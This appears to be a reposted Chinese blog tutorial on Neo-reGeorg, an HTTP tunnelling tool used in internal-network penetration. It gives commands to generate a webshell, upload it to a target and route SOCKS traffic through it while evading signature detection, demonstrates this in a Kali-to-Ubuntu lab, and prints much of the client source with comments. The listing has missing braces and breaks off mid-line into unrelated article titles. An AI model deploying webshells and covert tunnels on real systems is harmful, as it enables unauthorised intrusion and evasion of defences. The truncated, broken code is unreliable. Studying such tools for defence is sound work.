内网渗透系列:内网隧道之Neo-reGeorg

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:内网隧道之Neo-reGeorg相关的知识,希望对你有一定的参考价值。

目录

前言

本文研究HTTP隧道的一个工具,Neo-reGeorg

github:https://github.com/L-codes/Neo-reGeorg

一、概述

1、简介

写于2020年,持续更新,重构版reGeorg,python写的,提高稳定性和可用性,避免特征检测

  • 传输内容经过变形 base64 加密,伪装成 base64 编码
  • 直接请求响应可定制化 (如伪装的404页面)
  • HTTP Headers 的指令随机生成,避免特征检测
  • HTTP Headers 可定制化
  • 自定义 HTTP 响应码
  • 多 URL 随机请求
  • 服务端 DNS 解析
  • 兼容 python2 / python3
  • 服务端环境的高兼容性
  • aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行

2、原理

socks代理数据是包裹在http协议里边

3、用法

  • 生成webshell

    python3 neoreg.py generate -k password
    
  • 上传生成的webshell

  • 连接webshell

    python3 neoreg.py -k password -u http://xx/tunnel.php
    

特殊用法

  • 伪装404

    python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
    
  • 如需 Authorization 认证和定制的 Header 或 Cookie

    $ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
    
  • 需要分散请求,可上传到多个路径上,如内存马

    python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
    
  • 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )

    python neoreg.py -k <you_password> -u <url> -t <ip:port>
    

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

开放web服务

2、建立隧道

生成webshell

python3 neoreg.py generate -k 123456


将tunnel.jsp改名为1.jsp

上传1.jsp,curl下确认


连接webshell

python3 neoreg.py -k 123456 -u http://192.168.10.129/1.jsp


然后就可以通过proxychains来利用socks代理了

三、探索

1、源码与分析

#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__  = 'L'
__version__ = '3.4.0'

import sys
import os
import re
import base64
import struct
import random
import hashlib
import logging
import argparse
import requests
import uuid
import codecs
from time import sleep, time, mktime
from datetime import datetime
from socket import *
from itertools import chain
from threading import Thread

requests.packages.urllib3.disable_warnings()

ROOT = os.path.dirname(os.path.realpath(__file__))

ispython3 = True if sys.version_info >= (3, 0) else False

# Constants
SOCKTIMEOUT       = 5
VER               = b"\\x05"
METHOD            = b"\\x00"
SUCCESS           = b"\\x00"
REFUSED           = b"\\x05"
#SOCKFAIL         = b"\\x01"
#NETWORKFAIL      = b"\\x02"
#HOSTFAIL         = b"\\x04"
#TTLEXPIRED       = b"\\x06"
#UNSUPPORTCMD     = b"\\x07"
#ADDRTYPEUNSPPORT = b"\\x08"
#UNASSIGNED       = b"\\x09"

# Globals
READBUFSIZE   = 7
MAXTHERADS    = 1000
READINTERVAL  = 300
WRITEINTERVAL = 200
PHPTIMEOUT    = 0.5

# Logging
RESET_SEQ = "\\033[0m"
COLOR_SEQ = "\\033[1;%dm"
BOLD_SEQ  = "\\033[1m"

BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)

# CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET
LEVEL = [
    ('ERROR', logging.ERROR),
    ('WARNING', logging.WARNING),
    ('INFO', logging.INFO),
    ('DEBUG', logging.DEBUG),
]

COLORS = 
    'WARNING':  YELLOW,
    'INFO':     WHITE,
    'DEBUG':    BLUE,
    'CRITICAL': YELLOW,
    'ERROR':    RED,
    'RED':      RED,
    'GREEN':    GREEN,
    'YELLOW':   YELLOW,
    'BLUE':     BLUE,
    'MAGENTA':  MAGENTA,
    'CYAN':     CYAN,
    'WHITE':    WHITE,


# 消息的格式和颜色
def formatter_message(message, use_color=True):
    if use_color:
        message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)
    else:
        message = message.replace("$RESET", "").replace("$BOLD", "")
    return message


class ColoredFormatter(logging.Formatter):
    def __init__(self, msg, use_color=True):
        logging.Formatter.__init__(self, msg)
        self.use_color = use_color

    def format(self, record):
        levelname = record.levelname
        if self.use_color and levelname in COLORS:
            levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ
            record.levelname = levelname_color
        return logging.Formatter.format(self, record)


class ColoredLogger(logging.Logger):

    def __init__(self, name):
        use_color = not sys.platform.startswith('win')
        FORMAT = "[$BOLD%(levelname)-19s$RESET]  %(message)s"
        COLOR_FORMAT = formatter_message(FORMAT, use_color)
        logging.Logger.__init__(self, name, 'INFO')
        if (name == "transfer"):
            COLOR_FORMAT = "\\x1b[80D\\x1b[1A\\x1b[K%s" % COLOR_FORMAT
        color_formatter = ColoredFormatter(COLOR_FORMAT, use_color)
        console = logging.StreamHandler()
        console.setFormatter(color_formatter)
        self.addHandler(console)


logging.setLoggerClass(ColoredLogger)
log = logging.getLogger(__name__)
transferLog = logging.getLogger("transfer")


class SocksCmdNotImplemented(Exception):
    pass

# 给请求头提供随机键值
class Rand:
    def __init__(self, key):
        n = int(hashlib.sha512(key.encode()).hexdigest(), 16)
        self.k_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        self.v_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
        self.k_clen = len(self.k_clist)
        self.v_clen = len(self.v_clist)
        random.seed(n)

    def header_key(self):
        str_len = random.getrandbits(4) + 2 # len 2 to 17
        return ''.join([ self.k_clist[random.getrandbits(10) % self.k_clen] for _ in range(str_len) ]).capitalize()

    def header_value(self):
        str_len = random.getrandbits(6) + 2 # len 2 to 65
        return ''.join([ self.v_clist[random.getrandbits(10) % self.v_clen] for _ in range(str_len) ])

    def base64_chars(self, charslist):
        if sys.version_info >= (3, 2):
            newshuffle = random.shuffle
        else:
            try:
                xrange
            except NameError:
                xrange = range
            def newshuffle(x):
                def _randbelow(n):
                    getrandbits = random.getrandbits
                    k = n.bit_length()
                    r = getrandbits(k)
                    while r >= n:
                        r = getrandbits(k)
                    return r

                for i in xrange(len(x) - 1, 0, -1):
                    j = _randbelow(i+1)
                    x[i], x[j] = x[j], x[i]

        newshuffle(charslist)

# 核心部分
class session(Thread):
    def __init__(self, conn, pSocket, connectURLs, redirectURLs, FwdTarget):
        Thread.__init__(self)
        self.pSocket = pSocket
        self.connectURLs = connectURLs
        self.redirectURLs = redirectURLs
        self.conn = conn
        self.connect_closed = False
        self.session_connected = False
        self.fwd_target = FwdTarget

    # webshell的连接url
    def url_sample(self):
        return random.choice(self.connectURLs)
    
    # 转发的url
    def redirect_url_sample(self):
        return random.choice(self.redirectURLs)

    # 更新请求头
    def headerupdate(self, headers):
        headers.update(HEADERS)
        if self.redirectURLs:
            headers[K['X-REDIRECTURL']] = self.redirect_url_sample()

    # 利用uuid生成随机字符串
    def session_mark(self):
        mark = base64.b64encode(uuid.uuid4().bytes)[0:-2]
        if ispython3:
            mark = mark.decode()
        mark = mark.replace('+', ' ').replace('/', '_')
        mark = re.sub('^[ _]| $', 'L', mark) # Invalid return character or leading space in header
        return mark

    # SOCKS5
    def parseSocks5(self, sock):
        log.debug("SocksVersion5 detected")
        nmethods = sock.recv(1)
        methods = sock.recv(ord(nmethods))
        sock.sendall(VER + METHOD)
        ver = sock.recv(1)
        if ver == b"\\x02":                # this is a hack for proxychains
            ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
        else:
            cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
        target = None
        targetPort = None
        if atyp == b"\\x01":      # IPv4
            target = sock.recv(4)
            targetPort = sock.recv(2)
            target = inet_ntoa(target)
        elif atyp == b"\\x03":             # Hostname
            targetLen = ord(sock.recv(1)) # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort = sock.recv(2)
            if LOCALDNS:
                try:
                    target = gethostbyname(target)
                except:
                    log.error("DNS resolution failed(%s)" % target.decode())
                    return False
            else:
                target = target.decode()
        elif atyp == b"\\x04":    # IPv6
            target = sock.recv(16)
            targetPort = sock.recv(2)
            target = inet_ntop(AF_INET6, target)

        if targetPort == None:
            return False

        targetPortNum = struct.unpack('>H', targetPort)[0]

        if cmd == b"\\x02":   # BIND
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd == b"\\x03": # UDP
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
        elif cmd == b"\\x01": # CONNECT
            try:
                serverIp = inet_aton(target)
            except:
                # Forged temporary address 127.0.0.1
                serverIp = inet_aton('127.0.0.1')
            mark = self.setupRemoteSession(target, targetPortNum)
            if mark:
                sock.sendall(VER + SUCCESS + b"\\x00" + b"\\x01" + serverIp + targetPort)
                return True
            else:
                sock.sendall(VER + REFUSED + b"\\x00" + b"\\x01" + serverIp + targetPort)
                return False

        raise SocksCmdNotImplemented("Socks5 - Unknown CMD")

    # 检查是不是SOCKS5
    def handleSocks(self, sock):
        try:
            ver = sock.recv(1)
            if ver == b"\\x05":
                res = self.parseSocks5(sock)
                if not res:
                    sock.close()
                return res
            elif ver == b'':
                log.warning("[SOCKS] Failed to get version")
            else:
                log.error("Only support Socks5 protocol")
                return False
        except OSError:
            return False
        except timeout:
            return False

    # 启动线程
    def handleFwd(self, sock):
        log.debug("Forward detected")
        host, port = self.fwd_target.split(':', 1)
        mark = self.setupRemoteSession(host, int(port))
        return bool(mark)

    # 错误信息
    def error_log(self, str_format, headers):
        if K['X-ERROR'] in headers:
            message = headers[K["X-ERROR"]]
            if message in rV:
                message = rV[message]
            log.error(str_format.format(repr(message)))

    # base64加密ip:port
    def encode_target(self, data):
        data = base64.b64encode(data)
        if ispython3:
            data = data.decode()
        return data.translate(EncodeMap)

    # base64加密信息
    def encode_body(self, data):
        data = base64.b64encode(data)
        if ispython3:
            data = data.decode()
        return data.translate(EncodeMap)

    # base64解密信息
    def decode_body(self, data):
        if ispython3:
            data = data.decode()
        return base64.b64decode(data.translate(DecodeMap))

    # SOCKS线程
    def setupRemoteSession(self, target, port):
        self.mark = self.session_mark()
        target_data = ("%s|%d" % (target, port)).encode()
        headers = K["X-CMD"]: self.mark+V["CONNECT"], K["X-TARGET"]: self.encode_target(target_data)
        self.headerupdate(headers)
        self.target = target
        self.port = port

        if '.php' in self.connectURLs[0]:
            try:
                response = self.conn.get(self.url_sample(), headers=headers, timeout=PHPTIMEOUT)
            except:
                log.info("[%s:%d] HTTP [200]: mark [%s]" % (self.target, self.port, self.mark))
                return self.mark
        else:
            response = self.conn.get(self.url_sample(), headers=headers)


        rep_headers = response.headers
        if K['X-STATUS'] in rep_headers:
            status = rep_headers[K["X-STATUS"]]
            if status == V["OK"]:
                log.info("[%s:%d] Session mark [%s]" % (self.target, self.port, self.mark))
                return self.mark
            else:
                self.error_log('[CONNECT] [%s:%d] ERROR: ' % (self内网渗透系列:内网隧道之NATBypass

内网渗透系列:内网隧道之iox

内网渗透系列:内网隧道之pingtunnel

内网渗透系列:内网隧道之spp

内网渗透系列:内网隧道之spp

内网渗透系列:内网隧道之ICMP隧道